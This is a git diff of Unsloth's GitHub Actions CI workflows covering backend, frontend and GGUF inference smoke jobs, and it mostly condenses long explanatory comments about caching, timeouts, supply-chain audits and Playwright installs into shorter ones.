- # No accelerator on hosted runners; keep detection on the CPU path.
CUDA_VISIBLE_DEVICES: ""
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
- # This job pins its dependencies inline below rather than in a requirements
- # file, so the workflow IS the dependency spec and hashing it is what makes the
- # key describe the payload. Unscoped, setup-python hashes dependency files
- # repo-wide, so one unrelated edit invalidates ~700MB per interpreter.
+ # Deps are pinned inline below, so the workflow file is the cache key's dependency spec.
with:
python-version: '3.12'
@@ -123,12 +106,9 @@ jobs:
- name: Upgrade pip
run: python -m pip install --upgrade pip
- name: Install CPU PyTorch
- # CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's
- # transitive deps still resolve (matching the other workflows in this repo).
run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.15"
- name: Install backend import deps
- # Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and
- # the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds).
+ # Not unsloth (needs a GPU, and the import-safety test blocks it).
run: python -m pip install
transformers peft accelerate safetensors huggingface_hub datasets
sentencepiece protobuf fastapi starlette structlog psutil
diff --git a/.github/workflows/studio-frontend-ci.yml b/.github/workflows/studio-frontend-ci.yml
index 866fcb19ea2..6c964f94a28 100644
--- a/.github/workflows/studio-frontend-ci.yml
+++ b/.github/workflows/studio-frontend-ci.yml
@@ -1,13 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Frontend PR gate: lockfile freshness, typecheck, build, and a bundle grep
-# that catches the 2026.5.1 chat-history regression at the JS level.
-#
-# biome runs as non-blocking for now: the codebase currently has accumulated
-# ~470 errors and ~1650 warnings against the existing biome config. Surfacing
-# the count in CI lets us drive it down without forcing a fleet-wide cleanup
-# in the same PR. Drop `continue-on-error` once that number is zero.
+# Frontend PR gate. biome is non-blocking until its backlog reaches zero.
name: Frontend CI
@@ -45,7 +39,6 @@ on:
- 'tests/studio/playwright_progressive_rows.py'
- 'tests/studio/_code_block_flicker_analysis.py'
- 'tests/studio/test_code_block_flicker_contract.py'
- # Shared lifecycle helpers, and the contract tests that keep verdicts from going unread.
- 'tests/studio/_playwright_robust.py'
- 'tests/studio/test_autoscroll_harness_contract.py'
- 'tests/studio/test_heavy_thread_harness_contract.py'
@@ -54,8 +47,7 @@ on:
- 'tests/studio/test_playwright_server_lifecycle.py'
- 'scripts/sync_allow_scripts_pins.py'
- 'tests/studio/test_sync_allow_scripts_pins.py'
- # Both the Linux and Windows jobs execute this checked-out script before installing
- # dependencies (lines 154 and 649), so an edit to it changes what they run.
+ # Both jobs run this script before installing dependencies.
- 'scripts/lockfile_supply_chain_audit.py'
- '.github/workflows/studio-frontend-ci.yml'
- '.github/scripts/retry-with-apt-lock.sh'
@@ -118,13 +110,7 @@ jobs:
build:
name: Frontend build + bundle sanity
runs-on: ubuntu-latest
- # Two browser smokes (~50s) plus the Chromium install now sit inside this.
- # 20 was not a budget, it was the bound on the Chromium install: the step had
- # none of its own, so the job timeout was what eventually stopped it, and it
- # stopped everything after it too. That step carries its own bound now -- 33m,
- # covering the two guarded helper calls it authorises -- so this is sized for
- # the work plus that worst case, and stays above it so the STEP timeout is what
- # fires first and names itself.
+ # Must stay above the browser install step's own 33m bound so the step timeout fires first.
timeout-minutes: 40
defaults:
run:
@@ -134,11 +120,8 @@ jobs:
with:
persist-credentials: false
- # FIXME: drop this step once @assistant-ui/* and assistant-stream
- # leave 0.x -- on 1.x, caret ranges are conventional. Until then,
- # every 0.minor on this surface is a SemVer-major (this is exactly
- # how 2026.5.1 shipped a broken chat runtime: ^0.12.19 quietly
- # resolved to 0.12.28).
+ # FIXME: drop once @assistant-ui/* and assistant-stream leave 0.x; every 0.minor there is
+ # a breaking change.
- name: '@assistant-ui must be pinned exactly (no caret/tilde)'
working-directory: ${{ github.workspace }}
run: |
@@ -153,9 +136,7 @@ jobs:
with:
node-version: '22'
- # node 22 bundles npm 10.x, which predates allowScripts. Move to the
- # 11.x line and fail loudly if the gate is still missing, so the
- # strict flag below can never silently degrade into a warning.
+ # node 22 bundles npm 10.x, which predates allowScripts; fail if the gate is missing.
- name: Upgrade npm to 11.x (allowScripts enforcement)
working-directory: ${{ github.workspace }}
run: |
@@ -166,16 +147,11 @@ jobs:
*) echo "::error::npm $V lacks allowScripts (need >=11.16)"; exit 1 ;;
esac
- # Run the structural lockfile scan BEFORE npm ci. A compromised
- # tarball runs its `prepare` / `postinstall` during `npm ci`,
- # so any catch has to fire upstream of that. The scanner is
- # pure-Python read-only; safe to call ahead of every install.
+ # Must run BEFORE npm ci, where a compromised tarball's install scripts run.
- name: Lockfile supply-chain audit (pre-install scan)
working-directory: ${{ github.workspace }}
run: python3 scripts/lockfile_supply_chain_audit.py
- # Dependency bumps strand the version-pinned allowScripts entries.
- # The paired pre-commit hook auto-fixes PRs; this is the backstop.
- name: allowScripts pins must match the lockfile
working-directory: ${{ github.workspace }}
run: |
@@ -183,13 +159,7 @@ jobs:
python3 scripts/sync_allow_scripts_pins.py --check
- name: Lockfile must agree with package.json (npm ci is strict)
- # The vite 8 chain (rolldown, lightningcss, tailwind oxide) ships napi
- # binaries with no install scripts. The only script-bearing deps are
- # covered by `allowScripts` in package.json (npm >=11.16, default in
- # npm 12). The pre-install lockfile audit above stays the first line
- # of defence -- it fires before any tarball can run code.
- # --strict-allow-scripts: any unreviewed install script hard-fails
- # the job; the sync hook keeps the pins fresh after bumps.
+ # --strict-allow-scripts: any unreviewed install script hard-fails the job.
run: npm ci --strict-allow-scripts --no-fund --no-audit
- name: npm ci must not have modified the working tree
@@ -201,15 +171,7 @@ jobs:
exit 1
fi
- # Catch the common foot-gun: a dep dropped from package.json that is
- # still imported somewhere. The script walks the lockfile dep graph
- # from the new top-level deps and only counts top-level node_modules
- # paths as valid resolution targets for bare src/ imports.
- #
- # actions/checkout uses fetch-depth: 1 by default, so the base branch
- # is not available locally. Fetch the single base commit with an
- # explicit refspec so origin/<base> is reliably created (a bare
- # `git fetch origin <ref>` only updates FETCH_HEAD in some configs).
+ # Fetch the base commit with an explicit refspec so origin/<base> exists.
- name: Dependency removal safety check
if: github.event_name == 'pull_request'
working-directory: ${{ github.workspace }}
@@ -221,9 +183,7 @@ jobs:
--enumerate-dead
python3 tests/studio/test_frontend_dep_removal.py
- # A key added only to en.ts falls back to English at runtime, so nothing
- # breaks and nothing complains -- which is how the overlays drifted 22
- # keys behind, were repaired, then drifted 18 behind inside a day.
+ # A key added only to en.ts silently falls back to English.
- name: Locale parity
run: npm run i18n:check:strict
@@ -258,17 +218,13 @@ jobs:
- name: Built bundle must not contain Unsloth's unstable_Provider call site
run: |
set -e
- # `ls | head` takes its status from head, so a missed glob leaves JS
- # empty and set -e never sees it. grep would then exit 2 on "" and the
- # guard would pass on a bundle nobody looked at.
+ # `ls | head` takes head's status, so check JS is non-empty explicitly.
JS=$(ls dist/assets/index-*.js 2>/dev/null | head -1)
if [ ! -f "$JS" ]; then
echo "::error::no dist/assets/index-*.js to scan, so the build produced no main bundle"
exit 1
fi
- # `|| true`, not `|| echo 0`: on no match grep -c PRINTS 0 and exits 1,
- # so the fallback appended a second line and the -gt below died with
- # "integer expression expected" on every green run.
+ # `|| true`: grep -c prints 0 and exits 1 on no match; `|| echo 0` would add a second line.
HITS=$(grep -c 'unstable_Provider:' "$JS" || true)
echo "main bundle: $JS"
echo "unstable_Provider: hits=${HITS:-0} (assistant-ui internals contribute up to 3)"
@@ -287,30 +243,12 @@ jobs:
exit 1
fi
- # The 75 MB above is the whole artifact, which a lazily loaded page does not
- # make worse. This is the part the user waits through: the entry chunk plus
- # everything Vite preloads for it, fetched and executed before first paint.
+ # Entry chunk plus everything Vite preloads before first paint.
- name: Startup bundle budget
run: npm run bundle:check
- # Smokes go last: every step carries an implicit success(), so running them ahead of
- # the build gates let one red smoke skip the build and all three bundle assertions.
- # Costs nothing here, since each smoke starts its own vite server and reads no dist/.
- #
- # The install below was `playwright install --with-deps chromium`. That flag
- # shells out to apt, so it was an apt step wearing a different name and it
- # failed the same way: it once sat here for 16m38s, the job hit its
- # `timeout-minutes`, and the run was reported as "cancelled" with the browser
- # smokes and the lifecycle tests below simply skipped. It was still failing on
- # 2026-08-19 (job 96072994354): 9 packages, 21.1 MB, `fonts-wqy-zenhei
- # [7472 kB]` alone taking 5m50s off azure.archive.ubuntu.com, both 420s
- # attempts dying mid-download -- the same mirror and the same package that took
- # the webkit shards down in #9289.
- #
- # So it is split the way studio-ui-smoke.yml splits it: engine download, then a
- # launch probe, then apt ONLY if the probe says the libraries are missing. The
- # 2 x 420s budget stays: it is the engine download that is genuinely large, and
- # a third attempt would not fit the step timeout.
+ # Smokes go last: a red smoke would otherwise skip the build gates.
+ # No --with-deps: download the engine, probe launch, and run apt only if libraries are missing.
- name: Pin the Playwright version so the browser cache has a key
id: pw
working-directory: ${{ github.workspace }}
@@ -318,11 +256,7 @@ jobs:
python3 -m pip install 'playwright>=1.45,<2' pytest
echo "version=$(python3 -c 'from importlib.metadata import version; print(version("playwright"))')" >> "$GITHUB_OUTPUT"
- # Keys deliberately IDENTICAL to the chromium-only shards in
- # studio-ui-smoke.yml (engine token `c`): same runner image, same Playwright
- # version, same single engine, so the same entry is correct for both and this
- # job starts warm off whatever main saved there. Diverging the key here would
- # cost a second copy of the same bytes against a budget measured at 99.3% full.
+ # Key identical to the chromium-only shards in studio-ui-smoke.yml, so both share one entry.
- name: Restore the Playwright browser cache
id: pw-cache
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -341,45 +275,22 @@ jobs:
- name: Install Chromium for browser smokes
working-directory: ${{ github.workspace }}
- # Two helper calls now, not one -- the engine download and the apt
- # transaction are separated -- so the authorised worst case doubles:
- # 2 x (2 x 420s + 125s lock wait) = 1930s. 17m used to cover one call and
- # would now cut the last attempt off mid-download, which
- # test_the_retry_budget_fits_inside_the_step_timeout fails the build for.
- #
- # Both calls are guarded, so the common path spends none of this: the engine
- # download is skipped on a browser-cache hit, and apt is skipped entirely
- # when the probe says the libraries are already there. This budget is only
- # reachable when the cache misses AND the image is missing libraries AND the
- # mirror is degraded -- which is the run that used to fail outright.
+ # Two guarded helper calls: 2 x (2 x 420s + 125s lock wait) = 1930s.
+ # test_the_retry_budget_fits_inside_the_step_timeout enforces this.
timeout-minutes: 33
env:
RETRY_ATTEMPTS: '2'
RETRY_ATTEMPT_TIMEOUT: '420'
- # `--with-deps` used to run apt unconditionally here, and apt's own retries
- # multiplied every stalled transfer inside the attempt budget. Observed on
- # main 2026-08-19 (job 96072994354): 9 packages, 21.1 MB, and
- # `fonts-wqy-zenhei [7472 kB]` alone took 5m50s off
- # azure.archive.ubuntu.com -- both 420s attempts died mid-download and the
- # job failed. Same mirror and the same package that took the webkit shards
- # down in #9289.
+ # apt's own retries multiply stalled transfers inside the attempt budget.
APT_ACQUIRE_RETRIES: '0'
run: |
- # The engine first, and WITHOUT --with-deps. That flag makes playwright run
- # its own `apt-get update` internally, which is the one apt call this repo
- # cannot restructure -- so it is not used. A CDN download and an apt
- # transaction are two different failures and they are separated here, the
- # same way studio-ui-smoke.yml separates them.
+ # No --with-deps: it runs its own unbounded `apt-get update`.
if [ "${{ steps.pw-cache.outputs.cache-hit }}" != "true" ]; then
bash .github/scripts/retry-with-apt-lock.sh \
python3 -m playwright install chromium
fi
- # Then ask whether the system libraries are actually missing instead of
- # assuming they are. ubuntu-latest is a browser-testing image and ships
- # nearly all of them; when it does, this skips an apt update and a
- # transaction that would install nothing. Launching the engine is the
- # honest test of that -- it is what the smokes below are about to do.
+ # Probe whether the system libraries are actually missing before running apt.
probe() {
python3 - "$@" <<'PY'
import sys
@@ -404,36 +315,22 @@ jobs:
echo "::notice::skipped playwright install-deps; the runner image already has the libraries"
else
echo "system libraries are missing, installing them"
- # Hand apt last run's .debs before it goes looking for them. apt checks
- # each file against its index and re-fetches only what does not match, so
- # a stale cache costs a download rather than a wrong install.
+ # Reuse last run's .debs; apt re-fetches any that do not match its index.
if [ -d "${{ github.workspace }}/.apt-archives" ]; then
sudo cp "${{ github.workspace }}"/.apt-archives/*.deb /var/cache/apt/archives/ 2>/dev/null || true
echo "seeded $(ls "${{ github.workspace }}"/.apt-archives/*.deb 2>/dev/null | wc -l) cached .deb files"
fi
bash .github/scripts/retry-with-apt-lock.sh \
python3 -m playwright install-deps chromium
- # Harvest for next time: apt keeps what it installed in the archive dir
- # until something runs `apt-get clean`, so this is exactly what it used.
mkdir -p "${{ github.workspace }}/.apt-archives"
sudo cp /var/cache/apt/archives/*.deb "${{ github.workspace }}/.apt-archives/" 2>/dev/null || true
sudo chown -R "$(id -u):$(id -g)" "${{ github.workspace }}/.apt-archives" || true
- # Fail loudly rather than proceeding into smokes that cannot launch a
- # browser: without this the real error surfaces later as an opaque
- # per-test timeout in whichever smoke happens to run first.
+ # Fail loudly here rather than as an opaque per-test timeout later.
probe chromium
fi
- # Both saves are main-only, the rule every cache in this repo follows: a
- # PR-scoped entry can only be restored by re-runs of that same PR while still
- # counting against the shared budget, evicting the copy every PR can read.
- #
- # And NOT under always(). These keys are immutable, so a save that runs after a
- # failed install would store a half-downloaded engine or a partial .deb set
- # under the key every later run reads, and no later run could replace it. The
- # implicit success() is what makes the payload trustworthy;
- # test_cache_budget_discipline.py fails the build if either save reaches for
- # always() again.
+ # Main-only, and NOT under always(): keys are immutable, so a failed install must never
+ # be saved. test_cache_budget_discipline.py enforces this.
- name: Save the Playwright browser cache
if: (github.ref == 'refs/heads/main' || (github.ref == 'refs/heads/upstream-main' && github.repository != 'unslothai/unsloth')) && steps.pw-cache.outputs.cache-hit != 'true'
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -450,8 +347,7 @@ jobs:
path: ${{ github.workspace }}/.apt-archives
key: ${{ steps.apt-cache.outputs.cache-primary-key }}
- # Browserless, but imports the harnesses (hence playwright), so it sits after the
- # install. Covers the Windows teardown branch no runner here executes.
+ # Imports the harnesses (hence playwright), so it sits after the install.
- name: Dev-server lifecycle tests
working-directory: ${{ github.workspace }}
run: |
@@ -576,8 +472,7 @@ jobs:
timeout-minutes: 5
run: python3 tests/studio/playwright_titlebar_blur.py
- # Each harness owns its vite server: starting one here backgrounds npm, so $! is the
- # wrapper and killing it orphans the node child.
+ # Each harness owns its vite server; backgrounding npm here would orphan the node child.
- name: Browser smoke for chat autoscroll
working-directory: ${{ github.workspace }}
run: python3 tests/studio/playwright_chat_autoscroll.py
@@ -596,18 +491,11 @@ jobs:
SMOKE_FLICKER_ENGINES: chromium
run: python3 tests/studio/playwright_code_block_flicker.py
- # The `plain` case inside is the positive control: a fence with no brackets that
- # MUST keep its controls. A run where it has none measured nothing, and the two
- # rows that matter mean nothing either.
+ # The `plain` case is the positive control and must keep its controls.
- name: Browser smoke for code-block controls under a link-definition lookalike
working-directory: ${{ github.workspace }}
run: python3 tests/studio/playwright_link_definition_probe.py
- # Added by #12173 and left unrun until now, which
- # tests/studio/test_playwright_suites_run_in_ci.py failed on. It serves its own fixture
- # (studio/frontend/tests/fixtures/user-message-time) from vite, so it needs only the
- # npm ci above and Chromium. Reverting either #12173's user-message-time.tsx or its
- # index.css sentinel rule fails it, so this is a gate and not a smoke that always passes.
- name: Browser check for user message timestamps
working-directory: ${{ github.workspace }}
timeout-minutes: 5
@@ -638,11 +526,7 @@ jobs:
working-directory: ${{ github.workspace }}
run: python3 tests/studio/probe_dismiss_guard.py --label ci --engine chromium
- # The AST tests pin which menus are non-modal; only a browser answers what that then
- # does to a scroll behind an open menu, to the click that dismisses it, and to focus.
- # Chromium because that is what this job installs; PW_ENGINE=firefox or webkit runs
- # the same checks on the other two. The page mounts one still-modal menu as a
- # control, so a shared result is Radix rather than the wrapper.
+ # The page mounts one still-modal menu as a control.
- name: Browser checks for the non-modal dropdown wrapper
working-directory: ${{ github.workspace }}
run: python3 tests/studio/playwright_nonmodal_menus.py
@@ -664,18 +548,12 @@ jobs:
continue-on-error: true
run: python3 tests/studio/playwright_stream_pacing.py
- # Screenshot and serialized DOM the harnesses write on failure; small, kept only then.
- #
- # `failure()` alone is not enough. The stream-pacing smoke is `continue-on-error`, which
- # rewrites its CONCLUSION to success while leaving its OUTCOME as failure, so on the runs
- # where it is the only thing that failed -- the runs where its report is the whole point --
- # `failure()` is false and the report went nowhere. Check its raw outcome too.
+ # Also check the stream-pacing outcome: continue-on-error makes failure() false for it.
- name: Upload browser smoke artifacts
if: failure() || steps.stream_pacing.outcome == 'failure'
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: studio-frontend-smoke-artifacts
- # Include the settings and dismissal probe reports as well as playwright-* logs.
path: |
logs/playwright-*
logs/settings_tabs_report.json
@@ -691,17 +569,7 @@ jobs:
run: npm run biome:check
- name: Upload built dist
- # Failures only. This uploads a whole build directory (~35MB), and
- # keeping it from green runs too made it the second-largest artifact
- # family in the repo at ~3.5GB. Actions storage is not free on public
- # repos, and exceeding the account allowance silently stops GitHub
- # scheduling jobs org-wide, so a build tree retained purely for review
- # is not worth that risk.
- #
- # The "bundle changed unexpectedly" check this previously enabled is
- # better served by asserting on the build inside the job -- the size
- # gate in build.sh is the existing precedent -- rather than by keeping
- # every green run's output for inspection.
+ # Failures only: keeping ~35MB per green run made artifacts the second-largest family, ~3.5GB.
if: failure()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
@@ -709,31 +577,13 @@ jobs:
path: studio/frontend/dist
retention-days: 1
- # The suite reads its own sources off disk, resolves modules by URL and walks
- # directories, so it can be correct on POSIX and wrong on Windows. Running it
- # on ubuntu only, this job's absence let 13 such failures accumulate unseen
- # across three files: two shapes of path/URL confusion, one of them added by a
- # PR whose whole purpose was to fix a Windows bug.
- #
- # Reuse this runner for composer geometry, which needs native Windows coverage.
- # Typecheck, build and the remaining browser smokes stay on Linux.
- #
- # Line endings need no special handling here: .gitattributes pins
- # `studio/frontend/** text=auto eol=lf`, so the tree checks out LF whatever the
- # runner's core.autocrlf says, and the assertions that match on exact source
- # substrings see the bytes in the repo.
+ # The suite reads sources and resolves module URLs, so it can break only on Windows.
+ # .gitattributes pins LF for studio/frontend, so exact-substring assertions hold.
windows:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: Frontend unit tests (Windows)
runs-on: windows-latest
- # 30, not 15. The cap stopped fitting the job's own steps once the browser smokes
- # joined it, and the overrun is deterministic rather than flaky: measured on run
- # 35166979977, setup and npm ci 1m10s, unit tests 4m12s, browser install 32s,
- # composer icons 39s, data settings in Chromium 4m21s, and then Firefox was cut off
- # at 4m13s having needed about the same as Chromium. That is roughly 15m30s of work
- # under a 15m cap, so every run that reaches the Firefox step dies there and reports
- # itself as "cancelled" -- the failure mode the comment at the alignment job below
- # already describes. The Linux sibling of this job allows 40.
+ # The steps measured ~15m30s, so 15 always cut off the Firefox step.
timeout-minutes: 30
defaults:
run:
@@ -752,21 +602,12 @@ jobs:
with:
python-version: '3.12'
- # The same pre-install scan the ubuntu job runs, and for the same reason:
- # a compromised tarball runs its `prepare` / `postinstall` during `npm ci`,
- # so any catch has to fire upstream of that. Jobs run concurrently, so the
- # ubuntu job rejecting the lockfile does not help a Windows runner that has
- # already installed it. Pure-Python and read-only.
+ # Same pre-install scan as ubuntu: the jobs run concurrently.
- name: Lockfile supply-chain audit (pre-install scan)
working-directory: ${{ github.workspace }}
run: python scripts/lockfile_supply_chain_audit.py
- # `--ignore-scripts`, not the `--strict-allow-scripts` install the ubuntu
- # job runs. That one needs the npm 11.16 upgrade step, and the pins it
- # enforces are a property of the lockfile, which this job does not need to
- # re-check: it is a platform gate. Running no install script at all is the
- # stronger position anyway, and the suite is node:test over TypeScript
- # sources, so nothing here needs a native build step.
+ # --ignore-scripts: a platform gate, so no install scripts run at all.
- run: npm ci --ignore-scripts --no-fund --no-audit
- name: Unit tests
diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml
index e96a02dfdfa..fea242ac84d 100644
--- a/.github/workflows/studio-inference-smoke.yml
+++ b/.github/workflows/studio-inference-smoke.yml
@@ -1,76 +1,36 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Three end-to-end smoke phases that boot a freshly-installed Unsloth and
-# exercise the surfaces real users hit through the OpenAI / Anthropic
-# SDKs and curl. Each phase picks the smallest model that exercises the
-# behaviour under test and primes its own model cache via actions/cache.
-# All three run sequentially on ONE runner and share a single
-# install.sh --local --no-torch bootstrap, matching what
-# studio-windows-inference-smoke.yml already does.
-#
-# 1. OpenAI, Anthropic API tests port 18888
-# gemma-3-270m-it UD-Q4_K_XL (~254 MiB).
-# Password rotation via /api/auth/change-password (old fails,
-# new works), then OpenAI + Anthropic Python SDKs against /v1/*
-# with temperature=0 and a fixed seed. Asserts the four-turn
-# conversation is deterministic across two runs.
-#
-# 2. Tool calling Tests port 18889
-# Qwen3.5-2B UD-Q4_K_XL (~1.28 GiB). OpenAI function calling,
-# server-side tools (python, terminal, web_search) via
-# enable_tools / enabled_tools, and enable_thinking on/off.
-#
-# 3. JSON, images port 18890
-# Qwen3-VL-2B-Instruct UD-Q4_K_XL (~1.1 GiB) + mmproj-F16 (~780 MiB).
-# response_format JSON-schema decoding and OpenAI image_url
-# (data URI) plus Anthropic source/base64 image inputs.
-#
-# Each phase gates on the shared install rather than on the phase before it,
-# so a phase-1 failure still lets phases 2 and 3 report. That is what the three
-# separate jobs gave for free and what the bundle has to reproduce by hand.
+# Three phases on one runner sharing one `install.sh --local --no-torch`: SDK chat
+# determinism (18888), tool calling (18889), JSON schema + images (18890).
+# Each phase gates on the shared install, not the previous phase.
name: Unsloth GGUF CI
on:
pull_request:
paths:
- # What the three phases exercise: the backend's OpenAI and Anthropic surfaces over
- # a llama.cpp prebuilt, the installer that lays them down and the CLI that boots
- # them. Not studio/** plus unsloth/**: the install is --no-torch so the training
- # library is not importable here, the frontend is never served (UNSLOTH_API_ONLY),
- # and src-tauri is never touched.
+ # The backend's OpenAI/Anthropic surfaces, the installer and the CLI; the install is
+ # --no-torch and the frontend is never served.
- 'studio/backend/**'
- 'studio/setup.sh'
- 'studio/install_*.py'
- # install_node_prebuilt.py trusts the archives pinned here (setup.sh:1243).
- 'studio/node_prebuilt_pins.json'
- 'studio/prebuilt_core.py'
- 'studio/install_manifest.py'
- 'unsloth_cli/**'
- 'install.sh'
- 'pyproject.toml'
- # Reached by the installer this workflow already triggers on, so a commit touching
- # only one of these changes what the job runs while matching nothing else in the
- # list. install.sh --local hands off to the checked-out studio/setup.sh
- # (install.sh:7351), setup.sh runs nvidia_probe.py (setup.sh:266), and setup.ps1
- # runs install_python_stack.py and install_llama_prebuilt.py (setup.ps1:8127, 8655).
+ # Reached by the installers this workflow triggers on.
- 'studio/nvidia_probe.py'
- '.github/workflows/studio-inference-smoke.yml'
- '.github/scripts/retry-with-apt-lock.sh'
- # Every server boot in this workflow shells out to that script, so an edit
- # to it changes what this workflow actually runs.
- '.github/scripts/boot-studio-api-only.sh'
- # Same for the /api/health wait that runs after a boot.
- '.github/scripts/wait-for-health.sh'
- # Every model download in every phase goes through it.
- '.github/scripts/hf-download-with-retry.sh'
- # Phase 1 drives both SDKs through this script.
- '.github/scripts/studio_smoke/multi_turn_chat.py'
- # The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # The install step in this workflow is `uses:` on that composite action.
- '.github/actions/install-unsloth-local/action.yml'
- # Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- '.github/actions/uv-cache-restore/action.yml'
@@ -99,8 +59,6 @@ on:
- '.github/actions/frontend-dist-save/action.yml'
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- # Manual trigger for pre-warming HF_HOME caches on main, or re-running
- # against an arbitrary branch without pushing a no-op commit.
workflow_dispatch:
concurrency:
@@ -114,69 +72,19 @@ permissions:
contents: read
jobs:
- # One job, three phases -- the Linux port of the layout Windows and macOS
- # already use (studio-windows-inference-smoke.yml, studio-mac-inference-smoke.yml).
- # These were three ubuntu-latest jobs differing only in model, port and test
- # body; checkout, apt, setup-node, setup-python and `install.sh --local
- # --no-torch` were identical in all three.
- #
- # This reverses the note in studio-windows-inference-smoke.yml that said the
- # trade was not worth making on ubuntu because "setup is ~1.9 min against ~3.0
- # min of tests" and the added sequential wall time would cost more feedback
- # latency than the slots are worth. The arithmetic was right; its premise --
- # that the three jobs start together -- is not what the runners actually do.
- #
- # Measured on main. Run 32089506294 started two jobs at 02:40:11 and the third
- # at 02:46:52, a 6m41s wait for the third slot, and finished at 02:52:57: a
- # 12m46s wall for ~6 min of work. Run 32089558062 staggered all three
- # (02:47:32 / 02:50:01 / 02:54:06). Across 18 recent multi-job runs on main the
- # median gap between a run's first and last job start was 175s, and 13 of the
- # 18 exceeded 60s. The sequential wall time the note was trying to avoid is
- # already being paid, in the queue, plus two extra setups.
- #
- # Measured bundled, on a staging repo with an EMPTY actions cache, so every
- # model downloaded cold: 6m03s for all three phases. 105s of that is the now-
- # shared setup (checkout 4s, apt 9s, node 1s, python 2s, install.sh 88s, SDKs
- # 6s), which the three jobs each paid separately; the phases themselves are
- # 26s / 179s / 36s. That is at or under the 6m05 the longest of the three jobs
- # took on its own, on a third of the runners -- so this is not the "slower but
- # cheaper" trade it looked like before it was measured. It also gives back 2 of
- # the 60 concurrent slots, which is what makes the contended case rarer for
- # every other workflow.
- #
- # Each phase keeps its own model cache directory, HF_HOME, port, server log,
- # uploaded artifact and step timeouts, and each is gated on the SHARED preamble
- # rather than on the phase before it, so a failure still points at one phase,
- # earlier phases' logs survive it, and later phases still run -- the same
- # independence the three jobs had.
+ # One job, three phases: the three jobs already waited on each other in the queue, so
+ # bundling costs no wall time and saves two runners. Each phase keeps its own cache,
+ # port, log and artifact and gates on the shared preamble.
inference-smoke:
name: GGUF inference smoke (API, tools, vision)
runs-on: ubuntu-latest
- # Was 25 + 25 + 30 across three runners. Sequentially they share one
- # install, so the sum is well under 60, but a cold model cache on the
- # vision phase is the slow case. Every step that can block also carries
- # its own `timeout-minutes`: the job cap alone is not a substitute,
- # because hf-download-with-retry.sh retries forever by design and named
- # the enclosing step's timeout as its bound.
+ # hf-download-with-retry.sh retries forever, so every blocking step has its own timeout.
timeout-minutes: 60
env:
- # Only what every phase shares. Model, GGUF file, port and HF_HOME are
- # set per phase via $GITHUB_ENV instead of here: if a phase-specific key
- # were also declared at job level, whether the later $GITHUB_ENV write
- # wins is not something the Actions docs pin down, and a phase quietly
- # talking to the previous phase's port would be a nasty way to find out.
- #
- # Unbuffered stdio so a phase that dies mid-step leaves its output in the
- # log rather than in a lost 8KB pipe buffer. Three phases share one log
- # now, so "which phase was running" has to be readable from the tail.
+ # Phase-specific vars go to $GITHUB_ENV per phase, never here: precedence against job env
+ # is not documented.
PYTHONUNBUFFERED: '1'
- # hf-xet's chunk directory defaults to a path under HF_HOME, which is what
- # the phase-1 and phase-3 cache entries save. Those chunks are scratch --
- # re-derivable from the blobs sitting next to them -- so pinning them
- # outside the workspace keeps each hf-cache* tree closer to 1:1 with the
- # model files it holds. hf-download-with-retry.sh already sets
- # HF_XET_CHUNK_CACHE_SIZE_BYTES=0, so this mainly covers the downloads
- # Unsloth itself makes at load time, which do not go through that script.
+ # Keep hf-xet chunk scratch out of the cached HF_HOME trees.
HF_XET_CACHE: ${{ github.workspace }}/xet-scratch
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -185,15 +93,8 @@ jobs:
- name: Linux deps for llama.cpp prebuilt
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: a hung apt step is reported as `cancelled` with no reason.
+ # update + install retry as one unit; two long attempts, since slow mirrors are common.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -212,13 +113,7 @@ jobs:
with:
python-version: '3.12'
- # Cross-OS shared entry. The tree under `hf-cache` is byte-identical on
- # Linux, macOS and Windows, so the key carries no `runner.os`, and
- # enableCrossOsArchive lets Windows (which tars with --force-local) join it.
-
- # Deliberately NO `if:`, so this rides the implicit success() and a failed
- # preamble still stops the job here, exactly as it did when this was three
- # jobs. Every phase below gates on this step's outcome.
+ # No `if:`: a failed preamble stops the job; every phase gates on this step's outcome.
- name: Install Unsloth (--local, --no-torch)
id: install
timeout-minutes: 25
@@ -228,22 +123,14 @@ jobs:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
hf-token: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
- # Needed by phases 1 and 3 only; the tool-calling phase drives the API
- # with curl and never imports them, which is why phase 2 does not gate
- # on this.
+ # Phases 1 and 3 only; phase 2 uses curl.
- name: Install OpenAI + Anthropic Python SDKs
id: sdks
if: ${{ !cancelled() && steps.install.outcome == 'success' }}
